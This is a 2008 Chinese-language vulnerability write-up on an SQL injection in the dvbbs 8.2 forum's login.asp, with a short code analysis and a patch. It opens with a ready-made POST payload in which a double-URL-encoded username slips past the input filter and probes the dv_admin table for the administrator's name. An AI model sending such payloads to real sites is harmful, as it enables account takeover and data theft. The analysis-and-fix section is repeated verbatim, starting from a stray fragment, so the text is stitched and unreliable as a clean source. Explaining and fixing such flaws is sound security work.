dvbbs 8.2 SQL Injection注射漏洞分析
更新時間:2008年05月31日 12:19:06 作者:
利用方式:一個典型的sql注射漏洞,按照公告里說的用
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
就可觸發(fā).
漏洞分析:動網在asp領域也算一個比較元老的程序,這次在8.2新版里有一個低級的錯誤.漏洞代碼在login.asp 118行左右
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......
取得的username是先經過檢查然后再unescape解碼,導致用urlencode模式就可以饒過任何檢查,和php的urldecode導致的注射很類似,譬如用%2527就可以提交'過去了.
修補方案:修補也很簡單,將上述代碼改成
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))
......
就可觸發(fā).
漏洞分析:動網在asp領域也算一個比較元老的程序,這次在8.2新版里有一個低級的錯誤.漏洞代碼在login.asp 118行左右
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......
取得的username是先經過檢查然后再unescape解碼,導致用urlencode模式就可以饒過任何檢查,和php的urldecode導致的注射很類似,譬如用%2527就可以提交'過去了.
修補方案:修補也很簡單,將上述代碼改成
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))
......
相關文章
創(chuàng)建c:\con.txt嗎?windows文件系統(tǒng)漏洞
2008-01-01